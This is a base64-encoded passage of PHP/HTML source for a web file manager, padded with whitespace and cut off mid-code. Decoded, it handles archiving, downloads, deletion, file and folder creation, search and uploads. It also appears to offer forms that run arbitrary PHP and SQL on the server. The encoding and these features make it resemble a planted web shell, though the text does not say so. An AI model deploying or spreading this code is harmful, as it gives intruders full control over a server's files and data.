ICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAkZGVzdGluYXRpb24gLj0gJy5neic7DQoNCgkgICAgIAkgICAgIAkgICAgIH0NCg0KDQoNCgkgICAgIAkgICAgIAkgICAgICRtc2dfaGVhZGVycyAuPSBfXygnVGFzaycpLicgIicuX18oJ0FyY2hpdmluZycpLicgJy4kZGVzdGluYXRpb24uJyIgJy5fXygnZG9uZScpLg0KDQoJICAgICAJICAgICAJICAgICAnLiZuYnNwOycuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRkZXN0aW5hdGlvbixfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRkZXN0aW5hdGlvbikNCgkgICAgIAkgICAgIAkgICAgIC4nJm5ic3A7PGEgaHJlZj0iJy4kdXJsX2luYy4nJmRlbGV0ZT0nLiRkZXN0aW5hdGlvbi4nJnBhdGg9JyAuICRwYXRoLiciIHRpdGxlPSInLl9fKCdEZWxldGUnKS4nICcuJGRlc3RpbmF0aW9uLiciID4nLl9fKCdEZWxldGUnKS4nPC9hPic7DQoNCgkgICAgIAkgICAgIH0gZWxzZSAkbXNnX2hlYWRlcnMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJykuJzogJy5fXygnbm8gZmlsZUFycmF5Jyk7DQoJICAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ2RlY29tcHJlc3MnXSkpIHsNCg0KCSAgICAgCSAgICAgLy8gJHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ2RlY29tcHJlc3MnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAvLyAkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKTsNCgkgICAgIAkgICAgIC8vICRleHQgPSBlbmQoZXhwbG9kZSgiLiIsICRkZXN0aW5hdGlvbikpOw0KCSAgICAgCSAgICAgLy8gaWYgKCRleHQ9PSd6aXAnIE9SICRleHQ9PSdneicpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgLy8gJHBoYXIgPSBuZXcgUGhhckRhdGEoJHNvdXJjZSk7DQoNCgkgICAgIAkgICAgIAkgICAgIC8vICRwaGFyLT5kZWNvbXByZXNzKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIC8vICRiYXNlX2ZpbGUgPSBzdHJfcmVwbGFjZSgnLicuJGV4dCwnJywkZGVzdGluYXRpb24pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAvLyAkZXh0ID0gZW5kKGV4cGxvZGUoIi4iLCAkYmFzZV9maWxlKSk7DQoJICAgICAJICAgICAJICAgICAvLyBpZiAoJGV4dD09J3Rhcicpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAvLyAkcGhhciA9IG5ldyBQaGFyRGF0YSgkYmFzZV9maWxlKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIC8vICRwaGFyLT5leHRyYWN0VG8oZGlyKCRzb3VyY2UpKTsNCg0KCSAgICAgCSAgICAgCSAgICAgLy8gfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIC8vIH0gDQoNCgkgICAgIAkgICAgIC8vICRtc2dfaGVhZGVycyAuPSBfXygnVGFzaycpLicgIicuX18oJ0RlY29tcHJlc3MnKS4nICcuJHNvdXJjZS4nIiAnLl9fKCdkb25lJyk7DQoNCgkgICAgIH0gZWxzZWlmIChpc3NldCgkX0dFVFsnZ3pmaWxlJ10pKSB7DQoJICAgICAJICAgICAkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZ3pmaWxlJ10pOw0KDQoJICAgICAJICAgICAkYXJjaGl2ZSA9ICRzb3VyY2UuJy50YXInOw0KDQoJICAgICAJICAgICAkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKS4nLnRhcic7DQoJICAgICAJICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHVubGluaygkYXJjaGl2ZSk7DQoNCgkgICAgIAkgICAgIGlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgdW5saW5rKCRhcmNoaXZlLicuZ3onKTsNCgkgICAgIAkgICAgIHNldF90aW1lX2xpbWl0KDApOw0KDQoJICAgICAJICAgICAvL2VjaG8gJGRlc3RpbmF0aW9uOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGV4dF9hcnIgPSBleHBsb2RlKCcuJyxiYXNlbmFtZSgkc291cmNlKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGlmIChpc3NldCgkZXh0X2FyclsxXSkpIHsNCgkgICAgIAkgICAgIAkgICAgIHVuc2V0KCRleHRfYXJyWzBdKTsNCg0KCSAgICAgCSAgICAgCSAgICAgJGV4dD1pbXBsb2RlKCcuJywkZXh0X2Fycik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICB9IA0KDQoJICAgICAJICAgICAkcGhhciA9IG5ldyBQaGFyRGF0YSgkZGVzdGluYXRpb24pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJHBoYXItPmFkZEZpbGUoJHNvdXJjZSk7DQoNCgkgICAgIAkgICAgICRwaGFyLT5jb21wcmVzcyhQaGFyOjpHWiwkZXh0LicudGFyLmd6Jyk7DQoNCgkgICAgIAkgICAgIHVuc2V0KCRwaGFyKTsNCgkgICAgIAkgICAgIGlmIChpc19maWxlKCRhcmNoaXZlKSkgew0KDQoJICAgICAJICAgICAJICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgdW5saW5rKCRhcmNoaXZlKTsgDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgICRkZXN0aW5hdGlvbiAuPSAnLmd6JzsNCg0KCSAgICAgCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICAJICAgICAkbXNnX2hlYWRlcnMgLj0gX18oJ1Rhc2snKS4nICInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLiciICcuX18oJ2RvbmUnKS4NCgkgICAgIAkgICAgIAkgICAgICcuJm5ic3A7Jy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGRlc3RpbmF0aW9uLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGRlc3RpbmF0aW9uKQ0KCSAgICAgCSAgICAgCSAgICAgLicmbmJzcDs8YSBocmVmPSInLiR1cmxfaW5jLicmZGVsZXRlPScuJGRlc3RpbmF0aW9uLicmcGF0aD0nIC4gJHBhdGguJyIgdGl0bGU9IicuX18oJ0RlbGV0ZScpLicgJy4kZGVzdGluYXRpb24uJyIgPicuX18oJ0RlbGV0ZScpLic8L2E+JzsNCg0KCSAgICAgCSAgICAgfSBlbHNlICRtc2dfaGVhZGVycyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlQXJyYXknKTsNCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo/Pg0KDQo8dGFibGUgY2xhc3M9Indob2xlIiBpZD0iaGVhZGVyX3RhYmxlIiA+DQo8dHI+DQoNCiAgICA8dGggY29sc3Bhbj0iMiI+PD89X18oJ0ZpbGUgbWFuYWdlcicpPz48Pz0oIWVtcHR5KCRwYXRoKT8nIC0gJy4kcGF0aDonJyk/PjwvdGg+DQoNCjwvdHI+DQo8P3BocCBpZighZW1wdHkoJG1zZ19oZWFkZXJzKSl7ID8+DQoNCjx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIDx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0icm93MiI+PD89JG1zZ19oZWFkZXJzPz48L3RkPg0KDQo8L3RyPg0KDQo8P3BocCB9ID8+DQoNCjx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICA8dGQgY2xhc3M9InJvdzIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICA8dGFibGU+DQoJICAgICAJICAgICAJICAgICA8dHI+DQoJICAgICAJICAgICAJICAgICA8dGQ+DQoJICAgICAJICAgICAJICAgICAJICAgICA8Pz1mbV9ob21lKCk/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIDx0ZD4NCg0KCSAgICAgCSAgICAgCSAgICAgPD9waHAgaWYoIWVtcHR5KCRmbV9jb25maWdbJ21ha2VfZGlyZWN0b3J5J10pKSB7ID8+DQoJICAgICAJICAgICAJICAgICAJICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiI+DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSI8Pz0kcGF0aD8+IiAvPg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcm5hbWUiIHNpemU9IjE1Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibWtkaXIiIHZhbHVlPSI8Pz1fXygnTWFrZSBkaXJlY3RvcnknKT8+Ij4NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPC9mb3JtPg0KDQoJICAgICAJICAgICAJICAgICA8P3BocCB9ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIDwvdGQ+DQoNCgkgICAgIAkgICAgIAkgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIDw/cGhwIGlmKCFlbXB0eSgkZm1fY29uZmlnWyduZXdfZmlsZSddKSkgeyA/Pg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSR1cmxfaW5jPz4iPg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgICAgIHZhbHVlPSI8Pz0kcGF0aD8+IiAvPg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPGlucHV0IHR5cGU9InRleHQiICAgbmFtZT0iZmlsZW5hbWUiIHNpemU9IjE1Ij4NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibWtmaWxlIiAgIHZhbHVlPSI8Pz1fXygnTmV3IGZpbGUnKT8+Ij4NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPC9mb3JtPg0KCSAgICAgCSAgICAgCSAgICAgPD9waHAgfSA/Pg0KDQoJICAgICAJICAgICAJICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICA8dGQ+DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIDxmb3JtICBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiIgc3R5bGU9ImRpc3BsYXk6aW5saW5lIj4NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwYXRoPz4iIC8+DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iPD89X18oJ1JlY3Vyc2l2ZSBzZWFyY2gnKT8+IiBuYW1lPSJzZWFyY2hfcmVjdXJzaXZlIiB2YWx1ZT0iPD89IWVtcHR5KCRfUE9TVFsnc2VhcmNoX3JlY3Vyc2l2ZSddKT8kX1BPU1RbJ3NlYXJjaF9yZWN1cnNpdmUnXTonJz8+IiBzaXplPSIxNSI+DQoJICAgICAJICAgICAJICAgICAJICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWFzayIgcGxhY2Vob2xkZXI9Ijw/PV9fKCdNYXNrJyk/PiIgdmFsdWU9Ijw/PSFlbXB0eSgkX1BPU1RbJ21hc2snXSk/JF9QT1NUWydtYXNrJ106JyouKic/PiIgc2l6ZT0iNSI+DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNlYXJjaCIgdmFsdWU9Ijw/PV9fKCdTZWFyY2gnKT8+Ij4NCgkgICAgIAkgICAgIAkgICAgIAkgICAgIDwvZm9ybT4NCgkgICAgIAkgICAgIAkgICAgIDwvdGQ+DQoNCgkgICAgIAkgICAgIAkgICAgIDx0ZD4NCg0KCSAgICAgCSAgICAgCSAgICAgPD89Zm1fcnVuX2lucHV0KCdwaHAnKT8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgPC90ZD4NCgkgICAgIAkgICAgIAkgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICA8Pz1mbV9ydW5faW5wdXQoJ3NxbCcpPz4NCg0KCSAgICAgCSAgICAgCSAgICAgPC90ZD4NCg0KCSAgICAgCSAgICAgCSAgICAgPC90cj4NCgkgICAgIAkgICAgIDwvdGFibGU+DQoNCiAgICA8L3RkPg0KDQogICAgPHRkIGNsYXNzPSJyb3czIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIDx0YWJsZT4NCg0KCSAgICAgCSAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICA8dGQ+DQoJICAgICAJICAgICA8P3BocCBpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3VwbG9hZF9maWxlJ10pKSB7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iPD89JHBhdGg/PiIgLz4NCg0KCSAgICAgCSAgICAgCSAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZCIgaWQ9InVwbG9hZF9oaWRkZW4iIHN0eWxlPSJwb3NpdGlvbjogYWJzb2x1dGU7IGRpc3BsYXk6IGJsb2NrOyBvdmVyZmxvdzogaGlkZGVuOyB3aWR0aDogMDsgaGVpZ2h0OiAwOyBib3JkZXI6IDA7IHBhZGRpbmc6IDA7IiBvbmNoYW5nZT0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwbG9hZF92aXNpYmxlJykudmFsdWUgPSB0aGlzLnZhbHVlOyIgLz4NCgkgICAgIAkgICAgIAkgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiByZWFkb25seT0iMSIgaWQ9InVwbG9hZF92aXNpYmxlIiBwbGFjZWhvbGRlcj0iPD89X18oJ1NlbGVjdCB0aGUgZmlsZScpPz4iIHN0eWxlPSJjdXJzb3I6IHBvaW50ZXI7IiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkX2hpZGRlbicpLmNsaWNrKCk7IiAvPg0KDQoJICAgICAJICAgICAJICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ0ZXN0IiB2YWx1ZT0iPD89X18oJ1VwbG9hZCcpPz4iIC8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIDwvZm9ybT4NCg0KCSAgICAgCSAgICAgPD9waHAgfSA/Pg0KDQoJICAgICAJICAgICA8L3RkPg0KCSAgICAgCSAgICAgPHRkPg0KDQoJICAgICAJICAgICA8P3BocCBpZiAoJGF1dGhfZ293blsnYXV0aG9yaXplJ10pIHsgPz4NCgkgICAgIAkgICAgIAkgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPiZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICA8aW5wdXQgbmFtZT0icXVpdCIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iMSI+DQoNCgkgICAgIAkgICAgIAkgICAgIDw/PV9fKCdIZWxsbycpPz4sIDw/PSRhdXRoX2dvd25bJ2xvZ2luJ10/Pg0KDQoJICAgICAJICAgICAJICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPD89X18oJ1F1aXQnKT8+Ij4NCg0KCSAgICAgCSAgICAgCSAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICA8P3BocCB9ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIDwvdGQ+DQoNCgkgICAgIAkgICAgIDx0ZD4NCg0KCSAgICAgCSAgICAgPD89Zm1fbGFuZ19mb3JtKCRsYW5ndWFnZSk/Pg0KDQoJICAgICAJICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgPHRyPg0KDQoJICAgICAJICAgICA8L3RhYmxlPg0KDQogICAgPC90ZD4NCg0KPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L3RhYmxlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRhYmxlIGNsYXNzPSJhbGwiIGJvcmRlcj0nMCcgY2VsbHNwYWNpbmc9JzEnIGNlbGxwYWRkaW5nPScxJyBpZD0iZm1fdGFibGUiIHdpZHRoPSIxMDAlIj4NCg0KPHRoZWFkPg0KDQo8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIDx0aCBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj4gPD89X18oJ0ZpbGVuYW1lJyk/PiA8L3RoPg0KDQogICAgPHRoIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnU2l6ZScpPz4gPC90aD4NCiAgICA8dGggc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdEYXRlJyk/PiA8L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgPHRoIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnUmlnaHRzJyk/PiA8L3RoPg0KDQogICAgPHRoIGNvbHNwYW49IjQiIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnTWFuYWdlJyk/PiA8L3RoPg0KPC90cj4NCg0KPC90aGVhZD4NCg0KPHRib2R5Pg0KPD9waHANCiRlbGVtZW50cyA9IGZtX3NjYW5fZGlyKCRwYXRoLCAnJywgJ2FsbCcsIHRydWUpOw0KJGRpcnMgPSBhcnJheSgpOw0KJGZpbGVBcnJheSA9IGFycmF5KCk7DQoNCmZvcmVhY2ggKCRlbGVtZW50cyBhcyAkZmlsZV9nZXQpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIGlmKEBpc19kaXIoJHBhdGggLiAkZmlsZV9nZXQpKXsNCiAgICAgICAgJGRpcnNbXSA9ICRmaWxlX2dldDsNCg0KICAgIH0gZWxzZSB7DQogICAgICAgICRmaWxlQXJyYXlbXSA9ICRmaWxlX2dldDsNCiAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCm5hdHNvcnQoJGRpcnMpOyBuYXRzb3J0KCRmaWxlQXJyYXkpOw0KJGVsZW1lbnRzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlQXJyYXkpOw0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KZm9yZWFjaCAoJGVsZW1lbnRzIGFzICRmaWxlX2dldCl7DQoNCiAgICAkZmlsZW5hbWUgPSAkcGF0aCAuICRmaWxlX2dldDsNCiAgICAkZmlsZWRhdGEgPSBAc3RhdCgkZmlsZW5hbWUpOw0KICAgICAgICAgICAgICAg